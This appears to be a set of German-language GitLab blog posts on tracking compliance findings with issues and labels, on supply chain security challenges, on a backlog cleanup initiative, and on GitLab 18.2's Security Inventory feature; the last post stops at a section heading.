GitLab

Wie du das Management von Compliance-Beobachtungen mit GitLab transformierst

2025-07-24T00:00:00.000Z

Eine Beobachtung ist ein Compliance-Befund oder eine Schwachstelle, die während der Kontrollüberwachung identifiziert wird. Im Wesentlichen handelt es sich um eine Lücke zwischen Soll und Ist deiner Sicherheitskontrollen. Beobachtungen entstehen aus drei Hauptquellen: Designmängel, bei denen die Kontrolle nicht ordnungsgemäß strukturiert ist. Probleme mit der Betriebseffektivität, bei denen die Kontrolle existiert, aber nicht wie vorgesehen funktioniert. Oder Beweislücken, bei denen erforderliche Dokumentation fehlt.

Diese Beobachtungen entstehen aus unserem vierteljährlichen Kontrollüberwachungsprozess. Dabei bewerten wir systematisch die Effektivität von Sicherheitskontrollen für unsere Zertifizierungen (SOC 2, ISO 27001 usw.). Zusätzlich können Beobachtungen aus externen Audits durch unabhängige Prüfer(innen) resultieren.

Beobachtungsmanagement ist der Prozess, mit dem wir diese Beobachtungen von der Identifizierung über die Behebung bis zum Abschluss verwalten. In diesem Artikel erfährst du, wie das GitLab-Sicherheitsteam die DevSecOps-Plattform nutzt, um Beobachtungen zu verwalten und zu beheben, und welche Effizienzsteigerungen wir dadurch erzielt haben.

Der GitLab-Beobachtungslebenszyklus: Von der Identifizierung zur Lösung

Der Lebenszyklus einer Beobachtung umfasst den gesamten Prozess von der ersten Identifizierung durch Compliance-Ingenieur(innen) bis zur abgeschlossenen Behebung durch Behebungsverantwortliche. Dieser Lebenszyklus ermöglicht transparente Echtzeit-Statusberichte, die für alle Beteiligten leichter zu verstehen und zu verfolgen sind.

Hier sind die Phasen des Beobachtungslebenszyklus:

1. Identifizierung

Compliance-Ingenieur(innen) identifizieren potenzielle Beobachtungen während der vierteljährlichen Überwachung.
Eine erste Validierung erfolgt, um zu bestätigen, dass der Befund eine echte Kontrolllücke darstellt.
Die detaillierte Dokumentation beginnt sofort in einem GitLab-Issue.
Die Grundursache der Beobachtung wird ermittelt und ein Behebungsplan zur Behebung der Grundursache wird erstellt.

2. Validierung

Das Issue wird dem/der entsprechenden Behebungsverantwortlichen zugewiesen (normalerweise eine Teamleitung oder Abteilungsleiter(in)).
Der/die Behebungsverantwortliche überprüft und bestätigt, dass er/sie die Verantwortung versteht und akzeptiert.
Der Behebungsplan wird bei Bedarf gemeinsam überprüft, priorisiert und aktualisiert.

3. In Bearbeitung

Die aktive Behebungsarbeit beginnt mit klaren Meilensteinen und Fristen.
Regelmäßige Updates werden über GitLab-Kommentare und Statusänderungen bereitgestellt.
Die Zusammenarbeit erfolgt transparent, sodass alle Beteiligten den Fortschritt sehen können.

4. Behoben

Der/die Behebungsverantwortliche markiert die Arbeit als abgeschlossen und stellt Nachweise zur Verfügung.
Das Issue geht zur Compliance-Überprüfung zur Validierung über.

5. Lösung

Compliance-Ingenieur(innen) verifizieren, dass die Abschlusskriterien erfüllt sind.
Das Issue wird mit finaler Dokumentation geschlossen.
Erkenntnisse werden für zukünftige Prävention erfasst.

Alternative Pfade behandeln blockierte Arbeiten, Risikoakzeptanzentscheidungen und stagnierende Behebungsbemühungen mit entsprechenden Eskalations-Workflows.

Beispiel eines Beobachtungslebenszyklus

Die Macht der Transparenz in GitLab

Effektives Management von Compliance-Befunden sollte keine Detektivarbeit erfordern. Grundlegende Informationen wie Eigentümerschaft, Status oder Priorität sollten sofort ersichtlich sein. Dennoch erleben die meisten Organisationen folgendes Szenario: Compliance-Teams jagen Updates hinterher. Operative Teams kennen ihre Verantwortlichkeiten nicht. Die Führungsebene hat keine Sichtbarkeit auf tatsächliche Risiken – bis zur Audit-Saison.

Das Security-Compliance-Team bei GitLab stand vor genau diesen Problemen. Unser Team nutzte zunächst ein dediziertes GRC-Tool als zentrale Datenquelle für ausstehende Befunde. Doch wichtige Stakeholder hatten keine Sichtbarkeit. Das Ergebnis: Nur minimale Behebungen fanden statt. Das Team verbrachte seine Zeit mit administrativen Aufgaben, anstatt Behebungsbemühungen zu leiten.

Unsere Lösung: Wir verlagerten das Management direkt in GitLab-Issues innerhalb eines dedizierten Projekts. Dieser Ansatz verwandelt Compliance-Befunde in sichtbare, umsetzbare Arbeitselemente. Sie integrieren sich natürlich in Entwicklungs- und Betriebs-Workflows. Jeder Stakeholder kann sehen, was Aufmerksamkeit benötigt. Teams können bei Behebungsplänen zusammenarbeiten und den Fortschritt in Echtzeit verfolgen.

Intelligente Organisation durch Labels und Issue Boards

GitLab ermöglicht es Teams, Beobachtungs-Issues in mehrere Organisationsansichten zu kategorisieren. Das Security-Compliance-Team verwendet Folgendes zur Kategorisierung von Beobachtungen:

Workflow: ~workflow::identified, ~workflow::validated, ~workflow::in progress, ~workflow::remediated
Abteilung: ~dept::engineering, ~dept::security, ~dept::product
Risikoschwere: ~risk::critical, ~risk::high, ~risk::medium, ~risk::low
System: ~system::gitlab, ~system::gcp, ~system::hr-systems
Programm: ~program::soc2, ~program::iso, ~program::fedramp , ~program::pci

Diese Labels werden dann genutzt, um Issue Boards zu erstellen:

Workflow-Boards visualisieren die Phasen des Beobachtungslebenszyklus.
Abteilungs-Boards zeigen die Behebungsarbeitslast jedes Teams.
Risikobasierte Boards priorisieren kritische Befunde, die sofortige Aufmerksamkeit erfordern.
System-Boards visualisieren Beobachtungen nach System.
Programm-Boards verfolgen die zertifizierungsspezifische Beobachtungslösung.

Labels ermöglichen leistungsstarke Filter- und Berichtsfunktionen und unterstützen gleichzeitig automatisierte Workflows durch unsere Triage-Bot-Richtlinien. Weitere Details zu unserer Automatisierungsstrategie findest du im Abschnitt Automatisierung.

Automatisierung: Intelligenter arbeiten, nicht härter

Die Verwaltung von Dutzenden von Befunden über mehrere Zertifizierungen hinweg erfordert intelligente Automatisierung. Das Security-Compliance-Team nutzt den Triage-Bot – ein Open-Source-Projekt, das in GitLab gehostet wird. Das Triage-Bot-Gem ermöglicht es Projektmanager(inne)n, Issues automatisch zu triagieren. Die Triagierung basiert auf definierten Richtlinien in GitLab-Projekten oder -Gruppen.

Innerhalb des Beobachtungsmanagement-Projekts haben wir Richtlinien geschrieben, um sicherzustellen, dass jedes Issue eine(n) Zugewiesene(n) hat, jedes Issue erforderliche Labels hat, Issues alle 30 Tage aktualisiert werden und blockierte und stagnierende Issues alle 90 Tage angestupst werden. Zusätzlich wird wöchentlich ein Zusammenfassungs-Issue erstellt, um alle Issues zusammenzufassen, die nicht unseren definierten Richtlinien entsprechen. Dies ermöglicht es Teammitgliedern, Issues effizient zu überwachen und weniger Zeit für administrative Aufgaben aufzuwenden.

Erfolgsmessung: Schlüsselmetriken und Berichterstattung

GitLabs Roh-Issue-Daten lassen sich in umsetzbare Erkenntnisse umwandeln. Organisationen können aussagekräftige Insights aus verschiedenen Datenquellen extrahieren: Issue-Erstellungsdatum, Abschlussdatum, letztes Update und Labels. Die folgenden Metriken bieten einen umfassenden Überblick über die Effektivität deines Compliance-Managements:

Analyse der Lösungseffizienz: Durchschnittliche Zeit von der Identifizierung bis zur Lösung nach Abteilung und Schweregrad.

Verfolge Issue-Erstellungs- versus Abschlussdaten über Abteilungen und Schweregrade hinweg. Das identifiziert Engpässe und misst die Leistung gegen SLAs. So erkennst du, welche Teams bei schnellen Reaktionen hervorragend sind. Und welche zusätzliche Ressourcen oder Prozessverbesserungen benötigen.

Echtzeit-Risikobewertung: Aktuelles Risikoprofil basierend auf offenen kritischen und hochriskanten Befunden.

Nutze Risikostufen-Labels für dynamische Visualisierungen der aktuellen Risikoexposition. Das bietet der Führungsebene sofortiges Verständnis: Welche kritischen Befunde erfordern dringend Aufmerksamkeit.

Strategische Ressourcenzuweisung: Risikoverteilung auf Abteilungsebene für gezielte Verbesserungen.

Identifiziere, welche Abteilungen für Befunde mit dem höchsten Risiko verantwortlich sind. So priorisierst du Ressourcen, Aufsicht und Projekte richtig. Dieser datengesteuerte Ansatz fokussiert Verbesserungen dort, wo sie maximale Wirkung haben.

Überwachung der Compliance-Bereitschaft: Zertifizierungsspezifische Beobachtungszahlen und Lösungsraten

Nutze Zertifizierungs-Labels, um die Audit-Bereitschaft zu bewerten und den Fortschritt bei Compliance-Zielen zu verfolgen. Diese Metrik bietet eine Frühwarnung vor potenziellen Zertifizierungsrisiken und validiert Behebungsbemühungen.

Verantwortlichkeitsverfolgung: Überfällige Behebungen

Überwache die SLA-Einhaltung, um sicherzustellen, dass Beobachtungen rechtzeitig Aufmerksamkeit erhalten. Diese Metrik hebt systemische Verzögerungen hervor und ermöglicht proaktive Intervention, bevor kleine Probleme zu großen Problemen werden.

Engagement-Gesundheitsprüfung: Beobachtungsaktualität

Verfolge die jüngste Aktivität (Updates innerhalb von 30 Tagen), um sicherzustellen, dass Beobachtungen aktiv verwaltet und nicht vergessen werden. Diese Metrik identifiziert stagnierende Issues, die möglicherweise eine Eskalation oder Neuzuweisung erfordern.

Fortgeschrittene Strategien: Beobachtungsmanagement weiter vorantreiben

Hier ist, was du tun kannst, um die Wirkung des Beobachtungsmanagements in deiner Organisation zu vertiefen.

Integration mit Sicherheitstools

Modernes Beobachtungsmanagement geht über manuelle Verfolgung hinaus, indem es sich mit deiner bestehenden Sicherheitsinfrastruktur verbindet. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren, um automatisch Beobachtungs-Issues zu generieren, wodurch manuelle Dateneingabe eliminiert und umfassende Abdeckung sichergestellt wird.

Prädiktive Analytik anwenden

Modernes Compliance-Management geht über manuelle Verfolgung hinaus. Es verbindet sich mit deiner bestehenden Sicherheitsinfrastruktur. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren. Diese generieren automatisch Issues für Compliance-Befunde. Das eliminiert manuelle Dateneingabe und stellt umfassende Abdeckung sicher..

Anpassung für Stakeholder

Effektives Beobachtungsmanagement erkennt an, dass verschiedene Rollen unterschiedliche Perspektiven auf dieselben Daten erfordern. Rollenbasierte Dashboards liefern maßgeschneiderte Ansichten für Führungskräfte, die hochrangige Risikozusammenfassungen suchen, Abteilungsleiter(innen), die die Teamleistung verfolgen, und einzelne Mitwirkende, die ihre zugewiesenen Beobachtungen verwalten. Automatisierte Berichtssysteme können konfiguriert werden, um verschiedenen Zielgruppenbedürfnissen und Kommunikationspräferenzen zu entsprechen, von detaillierten technischen Berichten bis zu Executive Briefings. Self-Service-Analysefähigkeiten befähigen Stakeholder, Ad-hoc-Analysen durchzuführen und benutzerdefinierte Erkenntnisse zu generieren, ohne technisches Fachwissen oder Support zu benötigen.

Von bloßer Compliance zu operativer Exzellenz

GitLabs Ansatz zum Compliance-Management stellt mehr als einen Toolwechsel dar. Es ist eine grundlegende Verschiebung: von reaktiver Compliance zu proaktiver Risikominderung. Das Aufbrechen von Silos zwischen Compliance-Teams und operativen Stakeholdern bringt beispiellose Transparenz. Gleichzeitig verbessern sich die Behebungsergebnisse dramatisch.

Die Ergebnisse sind messbar: Schnellere Lösungen durch transparente Verantwortlichkeit. Aktive Stakeholder-Zusammenarbeit statt widerwilliger Teilnahme. Kontinuierliche Audit-Bereitschaft statt periodischer Hektik. Automatisierte Workflows befreien Compliance-Fachleute für strategische Arbeit. Reichhaltige Daten ermöglichen prädiktive Analysen. Der Fokus verschiebt sich von reaktiver Brandbekämpfung zu proaktiver Prävention.

Am wichtigsten ist, dass dieser Ansatz Compliance von einer Last zu einem strategischen Befähiger erhebt. Wenn Beobachtungen zu sichtbaren, verfolgbaren Arbeitselementen werden, die in operative Workflows integriert sind, entwickeln Organisationen eine stärkere Sicherheitskultur und dauerhafte Verbesserungen, die über jeden einzelnen Audit-Zyklus hinausgehen. Das Ergebnis ist nicht nur regulatorische Compliance. Es ist organisatorische Resilienz und Wettbewerbsvorteil durch überlegenes Risikomanagement.

Möchtest du mehr über GitLabs Sicherheits-Compliance-Praktiken erfahren? Schau dir unser Security Compliance Handbook für weitere Einblicke und Implementierungsanleitungen an.

Warum Organisationen bei der Software Supply Chain Security kämpfen

2025-07-24T00:00:00.000Z

Wenn du die meisten Entwicklungsteams nach Supply Chain Security fragst, konzentrieren sich ihre Antworten auf Schwachstellenscans oder Abhängigkeitsmanagement. Diese Bereiche sind zwar wichtige Komponenten, stellen aber eine gefährlich eingeschränkte Sichtweise auf eine viel komplexere Herausforderung dar.

Software-Supply-Chain-Sicherheit beschränkt sich nicht nur auf das Scannen von Abhängigkeiten. Sie umfasst den gesamten Prozess von der Code-Entwicklung bis zur Produktionsbereitstellung, einschließlich:

Quellsicherheit: Schutz von Code-Repositorys, Verwaltung von Mitwirkenden-Zugriff, Sicherstellung der Code-Integrität
Build-Sicherheit: Sichere Build-Umgebungen, Verhinderung von Manipulationen während der Kompilierung und Paketierung
Artefakt-Sicherheit: Sicherstellung der Integrität von Containern, Paketen und Bereitstellungsartefakten
Bereitstellungssicherheit: Sicherung der Liefermechanismen und Laufzeitumgebungen
Tool-Sicherheit: Härtung der Entwicklungstools und Plattformen selbst

Die "Kette" in Supply Chain Security bezieht sich auf diese miteinander verbundene Reihe von Schritten. Eine Schwachstelle an irgendeiner Stelle in der Kette kann den gesamten Software-Lieferprozess kompromittieren.

Der SolarWinds-Angriff von 2020 veranschaulicht dies perfekt. In einem der größten Supply-Chain-Angriffe der Geschichte kompromittierten staatlich geförderte Angreifer die Build-Pipeline von SolarWinds' Orion-Netzwerkverwaltungssoftware. Anstatt eine anfällige Abhängigkeit auszunutzen oder die fertige Anwendung zu hacken, injizierten sie bösartigen Code während des Kompilierungsprozesses selbst.

Das Ergebnis war verheerend: Mehr als 18.000 Organisationen, einschließlich mehrerer US-Regierungsbehörden, installierten unwissentlich Software mit Hintertüren durch normale Updates. Der Quellcode war sauber, die fertige Anwendung erschien legitim. Doch der Build-Prozess war kompromittiert worden. Dieser Angriff blieb monatelang unentdeckt und zeigte, wie Supply-Chain-Schwachstellen traditionelle Sicherheitsmaßnahmen umgehen können.

Häufige Missverständnisse, die Organisationen verwundbar machen

Trotz des wachsenden Bewusstseins für Supply-Chain-Bedrohungen bleiben viele Organisationen anfällig, weil sie grundlegenden Missverständnissen über Software-Supply-Chain-Sicherheit unterliegen. Diese Missverständnisse schaffen gefährliche Sicherheitslücken:

Denken, dass Software Supply Chain Security gleich Abhängigkeitsscanning ist
Sich nur auf Open-Source-Komponenten konzentrieren und proprietäre Code-Risiken ignorieren
Glauben, dass Code-Signierung allein ausreichenden Schutz bietet
Annehmen, dass sichere Codierungspraktiken Supply-Chain-Risiken eliminieren
Es als Problem des Sicherheitsteams behandeln statt als Herausforderung des Entwicklungsworkflows

Wie KI das Spiel verändert

Während Organisationen noch mit traditionellen Herausforderungen der Software-Supply-Chain-Sicherheit kämpfen, führt künstliche Intelligenz (KI) völlig neue Angriffsvektoren ein und verstärkt bestehende auf beispiellose Weise.

KI-gestützte Angriffe: Ausgefeilter, skalierbarer

Angreifer nutzen KI, um die Schwachstellenentdeckung zu automatisieren, überzeugende Social-Engineering-Angriffe gegen Entwickler zu generieren und öffentliche Codebasen systematisch auf Schwächen zu analysieren. Was früher manuelle Arbeit erforderte, lässt sich jetzt in großem Maßstab durchführen – mit Präzision.

Die KI-Entwicklungs-Supply-Chain führt neue Risiken ein

KI gestaltet den gesamten Entwicklungslebenszyklus neu, führt aber auch erhebliche Sicherheitslücken ein:

Modell-Supply-Chain-Angriffe: Vortrainierte Modelle von Quellen wie Hugging Face oder GitHub können Hintertüren oder vergiftete Trainingsdaten enthalten.
Unsicherer KI-generierter Code: Entwickler(innen), die KI-Coding-Assistenten verwenden, könnten unwissentlich verwundbare Muster oder unsichere Abhängigkeiten einführen.
Kompromittierte KI-Toolchains: Die Infrastruktur zum Trainieren, Bereitstellen und Verwalten von KI-Modellen schafft eine neue Angriffsoberfläche.
Automatisierte Aufklärung: KI ermöglicht es Angreifern, ganze Ökosysteme zu scannen, um hochwertige Supply-Chain-Ziele zu identifizieren.
Schatten-KI und nicht genehmigte Tools: Entwickler(innen) könnten externe KI-Tools integrieren, die nicht überprüft wurden.

Das Ergebnis? KI führt nicht nur neue Schwachstellen ein, sie verstärkt auch das Ausmaß und die Auswirkungen bestehender Schwachstellen. Organisationen können sich nicht länger auf schrittweise Verbesserungen verlassen. Die Bedrohungslandschaft entwickelt sich schneller, als sich aktuelle Sicherheitspraktiken anpassen können.

Warum die meisten Organisationen immer noch kämpfen

Selbst Organisationen, die Supply-Chain-Sicherheit verstehen, scheitern oft daran, effektiv zu handeln. Die Statistiken zeigen ein beunruhigendes Muster: Bewusstsein ohne entsprechende Verhaltensänderung.

Als Colonial Pipeline 2021 Hackern 4,4 Millionen Dollar zahlte, um den Betrieb wiederherzustellen, oder als 18.000 Organisationen dem SolarWinds-Angriff zum Opfer fielen, war die Botschaft klar: Supply-Chain-Schwachstellen können kritische Infrastruktur lahmlegen und sensible Daten in beispiellosem Ausmaß kompromittieren.

Dennoch machen die meisten Organisationen trotz dieses Bewusstseins weiter wie gewohnt. Die eigentliche Frage ist nicht, ob sich Organisationen um Supply-Chain-Sicherheit sorgen – sondern warum sich diese Sorge nicht in effektiven Schutz umsetzt.

Die Antwort liegt in vier kritischen Barrieren, die effektives Handeln verhindern:

1. Die falsche Sparsamkeitsmentalität

Organisationen konzentrieren sich manchmal auf die Kosten, anstatt zu fragen: "Was ist der effektivste Ansatz?" Dieses kostenorientierte Denken schafft teure Folgeprobleme.

2. Die Realität des Fachkräftemangels

Mit durchschnittlich 4 Sicherheitsfachleuten pro 100 Entwickler(innen) laut BSIMM-Forschung und 90% der Organisationen, die kritische Cybersicherheits-Qualifikationslücken melden laut ISC2, sind traditionelle Ansätze mathematisch unmöglich zu skalieren.

3. Fehlausgerichtete organisatorische Anreize

Entwickler-OKRs konzentrieren sich auf Feature-Geschwindigkeit, während Sicherheitsteams andere Ergebnisse messen. Wenn die Prioritäten der Geschäftsleitung die Markteinführungsgeschwindigkeit über die Sicherheitslage stellen, wird Reibung unvermeidlich.

4. Tool-Komplexitätsüberlastung

Das durchschnittliche Unternehmen nutzt 45 Cybersicherheitstools, wobei 40% der Sicherheitswarnungen Fehlalarme sind und muss durchschnittlich 19 Tools für jeden Vorfall koordinieren.

Diese Barrieren schaffen einen Teufelskreis: Organisationen erkennen die Bedrohung, investieren in Sicherheitslösungen, setzen sie aber so um, dass sie nicht die gewünschten Ergebnisse erzielen.

Der wahre Preis der Supply-Chain-Unsicherheit

Supply-Chain-Angriffe schaffen Risiken und Kosten, die weit über die anfängliche Behebung hinausgehen. Das Verständnis dieser versteckten Multiplikatoren hilft zu erklären, warum Prävention nicht nur vorzuziehen ist – sie ist essentiell für die Geschäftskontinuität.

Zeit wird zum Feind

Durchschnittliche Zeit zur Identifizierung und Eindämmung einer Supply-Chain-Verletzung: 277 Tage
Zeitraum zum Wiederaufbau des Kundenvertrauens: 2-3+ Jahre
Entwicklungsstunden, die von der Produktentwicklung zur Sicherheitsbehebung umgeleitet werden

Reputationsschäden summieren sich

Wenn Angreifer deine Supply Chain kompromittieren, stehlen sie nicht nur Daten – sie untergraben das Fundament des Kundenvertrauens. Kundenabwanderungsraten steigen typischerweise um 33% nach einem Verstoß, während Partnerbeziehungen kostspielige Rezertifizierungsprozesse erfordern. Die Wettbewerbsposition leidet, da Interessenten Alternativen wählen, die als "sicherer" wahrgenommen werden.

Die regulatorische Realität schlägt zu

Die Regulierungslandschaft hat sich grundlegend verändert. DSGVO-Strafen betragen jetzt durchschnittlich über 50 Millionen Dollar für erhebliche Datenverstöße. Der neue Cyber Resilience Act der EU verlangt Supply-Chain-Transparenz. US-Bundesauftragnehmer müssen Software-Stücklisten (SBOMs) für alle Softwarekäufe bereitstellen – eine Anforderung, die sich schnell auf die Beschaffung im privaten Sektor ausbreitet.

Betriebsstörungen multiplizieren sich

Über die direkten Kosten hinaus schaffen Supply-Chain-Angriffe betriebliches Chaos: Plattformausfälle während der Angriffsbehebung, Notfall-Sicherheitsaudits über ganze Technologie-Stacks und Rechtskosten aus Kundenklagen und behördlichen Untersuchungen.

Was an aktuellen Ansätzen falsch ist

Die meisten Organisationen verwechseln Sicherheitsaktivität mit Sicherheitswirkung. Sie setzen Scanner ein, generieren lange Berichte und jagen Teams durch manuelle Nachfassaktionen hinterher. Aber diese Bemühungen gehen oft nach hinten los – und schaffen mehr Probleme, als sie lösen.

Massives Scannen vs. effektiver Schutz

Unternehmen generieren über 10.000 Sicherheitswarnungen pro Monat, wobei die aktivsten etwa 150.000 Ereignisse pro Tag generieren. Aber 63% davon sind Fehlalarme oder unwichtiges Rauschen. Sicherheitsteams sind überfordert und werden zu Engpässen statt zu Befähigern.

Der Zusammenbruch der Zusammenarbeit

Die sichersten Organisationen haben nicht die meisten Tools; sie haben die stärkste DevSecOps-Zusammenarbeit. Aber die meisten aktuellen Setups machen dies schwieriger, indem sie Workflows über inkompatible Tools aufteilen, Entwicklern keine Sicherheitsergebnisse in ihrer Umgebung zeigen und keine gemeinsame Sichtbarkeit auf Risiko und geschäftliche Auswirkungen bieten.

Der Weg nach vorn

Das Verständnis dieser Herausforderungen ist der erste Schritt zum Aufbau effektiver Supply-Chain-Sicherheit. Die Organisationen, die erfolgreich sind, fügen nicht nur mehr Sicherheitstools hinzu, sie überdenken grundlegend, wie Sicherheit in Entwicklungsworkflows integriert wird. Sie überprüfen auch End-to-End-Software-Lieferworkflows, um Prozesse zu vereinfachen, Tools zu reduzieren und die Zusammenarbeit zu verbessern.

Bei GitLab haben wir gesehen, wie integrierte DevSecOps-Plattformen diese Herausforderungen angehen können, indem sie Sicherheit direkt in den Entwicklungsworkflow bringen. In unserem nächsten Artikel dieser Serie werden wir untersuchen, wie führende Organisationen ihren Ansatz zur Supply-Chain-Sicherheit durch entwicklerfreundliche Lösungen, KI-gestützte Automatisierung und Plattformen transformieren, die Sicherheit zu einem natürlichen Teil der Entwicklung großartiger Software machen.

Erfahre mehr über GitLabs Software Supply Chain Security-Funktionen.

Hinter den Kulissen von GitLabs Healthy Backlog Initiative

2025-07-23T00:00:00.000Z

Bei GitLab pflegen wir eine starke Partnerschaft mit unserer Community und ermutigen jeden zur aktiven Mitarbeit. Diese Beiträge haben die GitLab-Plattform über Jahre hinweg gestärkt. Doch mit unserem Wachstum stieg auch die Anzahl der Community-Issues - bis hin zu einem schwer handhabbaren Backlog von über 65.000 Einträgen.

Die Produkt- und Engineering-Teams von GitLab haben kürzlich die Healthy Backlog Initiative gestartet, um dieses Backlog anzugehen und unseren Ansatz für die Verwaltung beigetragener Issues in Zukunft zu verfeinern.

Issues mit laufendem Community-Engagement, aktueller Aktivität oder klarer strategischer Ausrichtung bleiben offen. Wir werden Issues schließen, die nicht mehr relevant sind, kein Community-Interesse haben oder nicht mehr zu unserer aktuellen Produktausrichtung passen.

Dieser Fokus wird zu mehr Innovation, besserer Erwartungshaltung und schnelleren Entwicklungs- und Bereitstellungszyklen von der Community beigetragenen Funktionen führen.

Die Healthy Backlog Initiative: 65.000 Issues strategisch reduzieren

Im Laufe der Zeit hat die GitLab-Community zahlreiche Issues eingereicht, darunter Bugs, Feature-Anfragen und Feedback-Elemente. Derzeit enthält der zentrale GitLab-Issue-Tracker über 65.000 Issues, von denen einige heute nicht mehr relevant sind, andere hingegen schon.

Unsere Healthy Backlog Initiative wird das Backlog bereinigen und einen Arbeitsstrom für unsere Produkt- und Engineering-Teams etablieren, um einen fokussierteren Ansatz zur Backlog-Verwaltung umzusetzen. Sie werden wöchentliche Bewertungen des Backlogs durchführen, um sicherzustellen, dass wir Issues priorisieren, die mit unserer Produktstrategie und Roadmap übereinstimmen.

Hinweis: Wenn du der Meinung bist, dass ein geschlossenes Issue mit GitLabs Produktstrategie und Roadmap übereinstimmt, oder wenn du aktiv an der Anfrage arbeitest, ermutigen wir dich, das Issue mit aktualisiertem Kontext und aktuellen Details zu kommentieren. Wir verpflichten uns, diese aktualisierten Issues im Rahmen unserer regelmäßigen Bewertungen zu überprüfen.

Die Vorteile: Fokussierte Entwicklung und klarere Roadmaps

Dieser optimierte Ansatz bedeutet direkte, greifbare Verbesserungen für alle GitLab-Nutzer:

Schärferer Fokus und schnellere Bereitstellung: Durch die Eingrenzung unseres Backlogs auf strategisch ausgerichtete Funktionen können wir Entwicklungskapazitäten gezielter nutzen. Das bedeutet, dass du kürzere Entwicklungszyklen und spürbare Verbesserungen in GitLab erwarten kannst.
Klarere Erwartungen: Wir verpflichten uns zu transparenter Kommunikation darüber, was auf unserer Roadmap steht und was nicht, damit du fundierte Entscheidungen über deine Workflows treffen kannst.
Beschleunigte Feedback-Schleifen: Mit einem sauberen Backlog werden neue Feedbacks und Feature-Anfragen effizienter überprüft und priorisiert. Das verkürzt die Triage-Zeit und stellt sicher, dass zeitkritische Issues die notwendige Aufmerksamkeit erhalten. Dies schafft schnelleres Feedback für alle.

Diese Initiative mindert nicht die Bedeutung von Community-Feedback und -Beiträgen. Wir ergreifen diese Maßnahme, um Klarheit darüber zu schaffen, was GitLab-Teammitglieder realistisch liefern können, und um sicherzustellen, dass alle Rückmeldungen angemessen berücksichtigt werden.

GitLabs Commitment: Transparente Prioritäten für die Community

Die GitLab Healthy Backlog Initiative spiegelt unseren Anspruch wider, transparente und effektive Verwalter der GitLab-Plattform zu sein. Indem wir unsere Prioritäten klar kommunizieren und unsere Bemühungen auf das konzentrieren, was wir realistisch im nächsten Jahr erreichen können, sind wir besser positioniert, deine Erwartungen zu erfüllen und zu übertreffen.

Deine kontinuierliche Teilnahme und dein Feedback helfen dabei, GitLab stärker zu machen. Jeder Kommentar, jede Merge Request, jeder Bug-Report und jeder Feature-Vorschlag trägt zu unserer gemeinsamen Vision bei. Und wir belohnen dich auch weiterhin dafür, mit Initiativen wie unserem monatlichen Notable Contributor-Programm, Swag-Belohnungen für Level-Ups, Hackathon-Gewinnern und mehr, alles verfügbar über unser Contributor-Portal.

Um mehr darüber zu erfahren, wie du zu GitLab beitragen kannst, besuche unsere Community-Seite. Um Feedback zu diesem Projekt zu teilen, füge bitte deine Kommentare zum Feedback-Issue in diesem Epic hinzu.

Die Sichtbarkeitslücke in der Software Supply Chain Security schließen

2025-07-21T00:00:00.000Z

Unser neuestes Release, GitLab 18.2, führt zwei neue Funktionen zur Verbesserung der Software Supply Chain Security ein: Security Inventory und Dependency Path-Visualisierung. Security Inventory bietet Application Security Teams eine zentrale, portfolioweite Übersicht über Risiken und Scan-Abdeckung über alle GitLab-Gruppen und -Projekte hinweg. So können sie blinde Flecken identifizieren und Maßnahmen zur Risikominderung priorisieren. Die Dependency Path-Visualisierung zeigt Entwickler(inne)n klar auf, wie Open-Source-Schwachstellen durch die Abhängigkeitskette eingeführt werden, was es einfacher macht, die richtige Lösung zu finden. Gemeinsam helfen diese Funktionen Sicherheits- und Entwicklungsteams dabei, sicherere Anwendungen zu erstellen, indem sie Transparenz darüber schaffen, wo Risiken bestehen, Kontext zur Behebung liefern und Workflows bereitstellen, die die Zusammenarbeit unterstützen. Im Gegensatz zu anderen Lösungen geschieht all das in derselben Plattform, die Entwickler(innen) zum Erstellen, Überprüfen und Bereitstellen von Software verwenden – ohne den zusätzlichen Integrationsaufwand.

Open Source erweitert die Angriffsfläche

Moderne Anwendungen verlassen sich stark auf Open-Source-Software. Open Source bringt jedoch ein erhebliches Sicherheitsrisiko mit sich – Komponenten können veraltet, nicht mehr gewartet oder unwissentlich anfällig sein. Deshalb ist die Software Composition Analysis (SCA) zu einem Eckpfeiler moderner AppSec-Programme geworden. Eine zentrale Herausforderung im Schwachstellen-Management ist die effektive Verwaltung des Risikos transitiver Abhängigkeiten. Diese Komponenten sind oft tief in der Abhängigkeitskette vergraben. Daher ist es schwierig nachzuvollziehen, wie eine Schwachstelle eingeführt wurde. Ebenso schwer ist es zu bestimmen, was aktualisiert werden muss. Noch schlimmer: Sie machen fast zwei Drittel der bekannten Open-Source-Schwachstellen aus. Ohne klare Sicht auf den gesamten Abhängigkeitspfad sind Teams auf Vermutungen angewiesen, was die Behebung verzögert und das Risiko erhöht.

Transitive Abhängigkeiten sind Pakete, die deine Anwendung indirekt verwendet. Sie werden automatisch von den direkten Abhängigkeiten eingezogen, die du explizit einbindest. Diese verschachtelten Abhängigkeiten können Schwachstellen einführen, ohne dass der/die Entwickler(in) jemals weiß, dass sie im Projekt vorhanden sind. Diese Herausforderung wird exponentiell schwieriger bei großem Umfang. Sicherheitsteams verwalten oft Hunderte oder Tausende von Repositories. Jedes Repository hat eigene Abhängigkeiten, Build-Pipelines und Verantwortliche. In diesem Umfang wird selbst die Beantwortung grundlegender Sicherheitsfragen zur Herausforderung. Und in einer Zeit wachsender Software Supply Chain-Bedrohungen, in der sich Schwachstellen über geteilte Bibliotheken und CI/CD-Konfigurationen systemübergreifend ausbreiten können, haben diese blinden Flecken noch gravierendere Folgen.

Security Inventory: Skalierbare Transparenz

Security Inventory konsolidiert Risikoinformationen aller Gruppen und Projekte in einer einheitlichen Ansicht. Es zeigt auf, welche Assets durch Sicherheitsscans abgedeckt sind und welche nicht. Anstatt Probleme isoliert zu verwalten, können Sicherheitsteams die Lage ganzheitlich bewerten. So identifizieren sie schnell, wo sie ihre Bemühungen fokussieren sollten. Diese zentrale Übersicht ist besonders wichtig für Organisationen mit vielen Repositories. Plattform- und AppSec-Teams verstehen sofort, wo Risiken existieren. Das System hebt ungescannte oder unzureichend geschützte Projekte hervor. Außerdem können Teams direkt aus der Oberfläche heraus handeln und über das bloße Bewusstsein hinausgehen. Mit vollem Kontext verstehen sie, welche Anwendungen das größte Risiko darstellen. Security Inventory wandelt fragmentierte Einblicke in eine zentrale Informationsquelle um. So können Organisationen von reaktiver Problem-Triage zu strategischer, datengesteuerter Sicherheits-Governance wechseln. Erfahre mehr, indem du dir Security Inventory in Aktion ansiehst:

Dependency Path-Visualisierung: Klarheit für effektive Behebung

